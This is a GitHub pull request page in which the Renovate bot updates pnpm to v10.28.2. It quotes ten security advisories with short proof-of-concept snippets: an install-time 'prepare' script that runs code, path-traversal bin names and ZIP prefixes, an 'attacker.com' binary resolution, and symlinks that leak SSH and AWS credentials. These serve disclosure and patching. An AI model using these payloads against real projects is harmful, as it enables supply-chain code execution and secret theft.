chore(deps): update pnpm to v10.28.2 [security] - autoclosed#64
Closed
renovate[bot] wants to merge 1 commit intomainfrom
Closed
chore(deps): update pnpm to v10.28.2 [security] - autoclosed#64renovate[bot] wants to merge 1 commit intomainfrom
renovate[bot] wants to merge 1 commit intomainfrom
Conversation
|
708ab68 to
32e40ef
Compare
32e40ef to
c4f2a06
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
>=9→>=10.28.210.17.0→10.28.2>=10.16.0→>=10.28.210.17.0→10.28.2pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies
CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw
More information
Details
Summary
HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.
Details
When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:
resolving/tarball-resolver/src/index.ts:The resulting lockfile entry has no integrity to verify:
Since there is no integrity hash, pnpm cannot detect when the server returns different content.
This affects:
"pkg": "https://example.com/pkg.tgz")"pkg": "github:user/repo")"pkg": "git+https://github.com/user/repo")npm registry packages are not affected as they include integrity hashes from the registry metadata.
PoC
See attached pnpm-bypass-integrity-poc.zip
The POC includes:
malicious-packagethat depends on the HTTP tarballvictimproject that depends onmalicious-packageTo run:
cd pnpm-bypass-integrity-poc ./run-poc.shThe output shows that each install (with
pnpm store prunebetween them) downloads different code despite having a committed lockfile.Impact
An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:
The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"
CVE-2025-69264 / GHSA-379q-355j-w6rj
More information
Details
pnpm v10+ Git Dependency Script Execution Bypass
Summary
A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during
pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blockspostinstallscripts via theonlyBuiltDependenciesmechanism, git dependencies can still executeprepare,prepublish, andprepackscripts during the fetch phase, enabling remote code execution without user consent or approval.Details
pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #8897). This is implemented by setting
onlyBuiltDependencies = []when no build policy is configured:File:
pkg-manager/core/src/install/extendInstallOptions.ts(lines 290-291)This creates an allowlist that blocks all packages from running scripts during the BUILD phase in
exec/build-modules/src/index.ts.However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using
preparePackage():File:
exec/prepare-package/src/index.ts(lines 28-57)The
ignoreScriptsoption defaults tofalseand is completely separate fromonlyBuiltDependencies. TheonlyBuiltDependenciesallowlist is never consulted during the fetch phase.Affected scripts that execute during fetch:
prepareprepublishprepackAttack vectors:
git+https://github.com/attacker/malicious.gitgithub:attacker/maliciousgitlab:attacker/maliciousbitbucket:attacker/maliciousgit+ssh://git@github.com/attacker/malicious.gitgit+file:///path/to/local/repoPoC
Prerequisites:
Steps to reproduce:
Extract the attached poc.zip
Run the PoC script:
cd poc chmod +x run-poc.sh ./run-poc.shVerify the marker file was created by the malicious script:
Manual reproduction:
Create a malicious package with a
preparescript:{ "name": "malicious-pkg", "version": "1.0.0", "scripts": { "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\"" } }Initialize it as a git repo and commit the files
Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):
{ "dependencies": { "malicious-pkg": "git+file:///path/to/malicious-pkg" } }Run
pnpm install- the prepare script executes without any warning or approval promptImpact
Severity: High
Who is impacted:
Attack scenarios:
pnpm installWhat an attacker can do:
Why this bypasses security expectations:
onlyBuiltDependenciesconfiguration does not affect git dependenciesSeverity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm vulnerable to Command Injection via environment variable substitution
CVE-2025-69262 / GHSA-2phv-j68v-wwqx
More information
Details
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in
.npmrcconfiguration files withtokenHelpersettings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.Affected Components
@pnpm/config.env-replaceandloadTokenfunctionalitypnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()functionpnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitutionTechnical Details
Vulnerability Chain
Environment Variable Substitution
.npmrcsupports${VAR}syntaxreadLocalConfig()loadToken Execution
spawnSync(helperPath, { shell: true })Attack Flow
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71Proof of Concept
Prerequisites
PoC Steps
PoC Results
Impact
Severity
Affected Environments
High Risk:
Low Risk:
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Scenario 2: Docker Build
Scenario 3: Kubernetes
Mitigation
Temporary Workarounds
Disable tokenHelper:
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKENAudit environment variables:
Recommended Fixes
shell: truefrom loadTokenDisclosure
References
@pnpm/config.env-replace@^3.0.2Credit
Reported by: Jiyong Yang
Contact: sy2n0@naver.com
Severity
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin
CVE-2026-23890 / GHSA-xpqm-wm3m-f34h
More information
Details
Summary
A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of
node_modules/.bin. Bin names starting with@bypass validation, and after scope normalization, path traversal sequences like../../remain intact.Details
The vulnerability exists in the bin name validation and normalization logic:
1. Validation Bypass (
pkg-manager/package-bins/src/index.ts)The filter allows any bin name starting with
@to pass through without validation:2. Incomplete Normalization (
pkg-manager/package-bins/src/index.ts)3. Exploitation (
pkg-manager/link-bins/src/index.ts:288)The normalized name is used directly in
path.join()without validation.PoC
{ "name": "malicious-pkg", "version": "1.0.0", "bin": { "@​scope/../../.npmrc": "./malicious.js" } }.npmrccreated in project root (outside node_modules/.bin).Impact
Verified on pnpm main @ commit 5a0ed1d45.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm has Windows-specific tarball Path Traversal
CVE-2026-23889 / GHSA-6x96-7vc8-cm3p
More information
Details
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for
./but not.\. On Windows, backslashes are directory separators, enabling path traversal.This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (
store/cafs/src/parseTarball.ts:107-110)A path like
foo\..\..\.npmrcdoes NOT contain./and bypasses this check.2. Platform-Dependent Behavior (
fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)PoC
package/foo\..\..\.npmrcpnpm install.npmrcwritten outside package directoryImpact
.npmrc, build configs, or other filesVerified on pnpm main @ commit 5a0ed1d45.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
CVE-2026-23888 / GHSA-6pfh-p556-v868
More information
Details
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing
../or absolute paths that escape the extraction root via AdmZip'sextractAllTo, and (2) TheBinaryResolution.prefixfield is concatenated into the extraction path without validation, allowing a crafted prefix like../../evilto redirect extracted files outsidetargetDir.Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (
fetching/binary-fetcher/src/index.ts)AdmZip's
extractAllTodoes not validate entry paths for path traversal:A ZIP entry with path
../../../.npmrcwill be written outsidenodeDir.2. Unvalidated Prefix in BinaryResolution (
resolving/resolver-base/src/index.ts)The
basenamevariable comes fromBinaryResolution.prefixand is used directly in path construction:PoC
Attack Vector 1: ZIP Entry Path Traversal
Attack Vector 2: Prefix Traversal via malicious resolution:
{ "resolution": { "type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED" } }Impact
Verified on pnpm main @ commit
5a0ed1d45.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm has Path Traversal via arbitrary file permission modification
CVE-2026-24131 / GHSA-v253-rj99-jwpq
More information
Details
Summary
When pnpm processes a package's
directories.binfield, it usespath.join()without validating the result stays within the package root. A malicious npm package can specify"directories": {"bin": "../../../../tmp"}to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.Note: Only affects Unix/Linux/macOS. Windows is not affected (
fixBingated byEXECUTABLE_SHEBANG_SUPPORTED).Details
Vulnerable code in
pkg-manager/package-bins/src/index.ts:15-21:The
binfield IS protected withisSubdir()at line 53, butdirectories.binlacks this check.PoC
Impact
Suggested Fix
Add
isSubdirvalidation fordirectories.binpaths inpkg-manager/package-bins/src/index.ts, matching the existing validation incommandsFromBin():Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm has symlink traversal in file:/git dependencies
CVE-2026-24056 / GHSA-m733-5w8f-5ggw
More information
Details
Summary
When pnpm installs a
file:(directory) orgit:dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g.,/etc/passwd,~/.ssh/id_rsa) causes pnpm to copy that file's contents intonode_modules, leaking local data.Preconditions: Only affects
file:andgit:dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.Details
The vulnerability exists in
store/cafs/src/addFilesFromDir.ts. The code usesfs.statSync()andreadFileSync()which follow symlinks by default:There is no check that
absolutePathresolves to a location inside the package directory.PoC
Impact
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsaSuggested Fix
Use
lstatSyncto detect symlinks and reject those pointing outside the package root instore/cafs/src/addFilesFromDir.ts.Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm no-script global cache poisoning via overrides /
ignore-scriptsevasionCVE-2024-53866 / GHSA-vm32-9rqf-rh3r
More information
Details
Summary
pnpm seems to mishandle overrides and global cache:
This can make workspace A (even running with
ignore-scripts=true) posion global cache and execute scripts in workspace BUsers generally expect
ignore-scriptsto be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).Here, that expectation is broken
Details
See PoC.
In it, overrides from a single run of A get leaked into e.g.
~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.jsonand persistently affect all other projects using the cachePoC
Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a
console.logOn mac:
rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/storeThis step is not required in general, but we'll be using a popular package for PoC that's likely cached
A/package.json:{ "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } }pnpm i --ignore-scripts(the flag is not required, but the point of the demo is to show that it doesn't help)B/package.json:{ "name": "B", "dependencies": { "rimraf": "6.0.1" } }pnpm iResult:
Also, that code got leaked into another project and it's lockfile now!
Impact
Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs
As a work-around, use separate cache and store dirs in each workspace
Severity
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm uses the md5 path shortening function causes packet paths to coincide, which causes indirect packet overwriting
CVE-2024-47829 / GHSA-8cc4-rfj6-fhg4
More information
Details
The path shortening function is used in pnpm:
However, it uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /node_modoules/, there are no version numbers for the libraries they refer to.

In the diagram, we assume that two packages are called packageA and packageB, and that the first 90 digits of their package names must be the same, and that the hash value of the package names with versions must be the same. Then C is the package that they both reference, but with a different version number. (npm allows package names up to 214 bytes, so constructing such a collision package name is obvious.)
Then hash(packageA@1.2.3)=hash(packageB@3.4.5). This results in the same path for the installation, and thus under the same directory. Although the package names under node_modoules are the full paths again, they are shared with C.
What is the exact version number of C?
In our local tests, it depends on which one is installed later. If packageB is installed later, the C version number will change to 2.0.0. At this time, although package A requires the C@1.0.0 version, package. json will only work during installation, and will not affect the actual operation.
We did not receive any installation error issues from pnpm during our local testing, nor did we use force, which is clearly a case that can be triggered.
For a package with a package name + version number longer than 120, another package can be constructed to introduce an indirect reference to a lower version, such as one with some known vulnerability.
Alternatively, it is possible to construct two packages with more than 120 package names + version numbers.
This is clearly an advantage for those intent on carrying out supply chain attacks.
The solution:
The repair cost is also very low, just need to upgrade the md5 function to sha256.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pnpm/pnpm (pnpm)
v10.28.2: pnpm 10.28.2Compare Source
Patch Changes
Security fix: prevent path traversal in
directories.binfield.When pnpm installs a
file:orgit:dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked intonode_modules.This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g.,
/etc/passwd,~/.ssh/id_rsa) and have their contents copied when the package is installed.Note: This only affects
file:andgit:dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.Fixed optional dependencies to request full metadata from the registry to get the
libcfield, which is required for proper platform compatibility checks #9950.Platinum Sponsors
Gold Sponsors
v10.28.1Compare Source
v10.28.0Compare Source
v10.27.0Compare Source
v10.26.2: pnpm 10.26.2Compare Source
Patch Changes
Improve error message when a package version exists but does not meet the
minimumReleaseAgeconstraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #10307.Fix installation of Git dependencies using annotated tags #10335.
Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused
ERR_PNPM_GIT_CHECKOUT_FAILEDerrors because the checked-out commit hash didn't match the stored tag object hash.Binaries of runtime engines (Node.js, Deno, Bun) are written to
node_modules/.binbefore lifecycle scripts (install, postinstall, prepare) are executed #10244.Try to avoid making network calls with preferOffline #10334.
Platinum Sponsors
Gold Sponsors
v10.26.1: pnpm 10.26.1Compare Source
Patch Changes
pnpm add, whenblockExoticSubdepsis set totrue#10324.HEADpoints to the commit after checkout #10310.Platinum Sponsors
Gold Sponsors
v10.26.0Compare Source
v10.25.0Compare Source
v10.24.0Compare Source
v10.23.0: pnpm 10.23Compare Source
Minor Changes
--lockfile-onlyoption topnpm list#10020.Patch Changes
pnpm self-updateshould download pnpm from the configured npm registry #10205.pnpm self-updateshould always install the non-executable pnpm package (pnpm in the registry) and never the@pnpm/exepackage, when installing v11 or newer. We currently cannot ship@pnpm/exeaspkgdoesn't work with ESM #10190.pnpm add, if there's aengines.runtimesetting declared inpackage.json#10209.pnpm listandpnpm whynow display npm: protocol for aliased packages (e.g.,foo npm:is-odd@3.0.1) #8660.pnpm store pruneshould not fail if the store contains Node.js packages #10131.Platinum Sponsors
Gold Sponsors
v10.22.0: pnpm 10.22Compare Source
Minor Changes
Added support for
trustPolicyExclude#10164.You can now list one or more specific packages or versions that pnpm should allow to install, even if those packages don't satisfy the trust policy requirement. For example:
Allow to override the
enginesfield on publish by thepublishConfig.enginesfield.Patch Changes
Platinum Sponsors
Gold Sponsors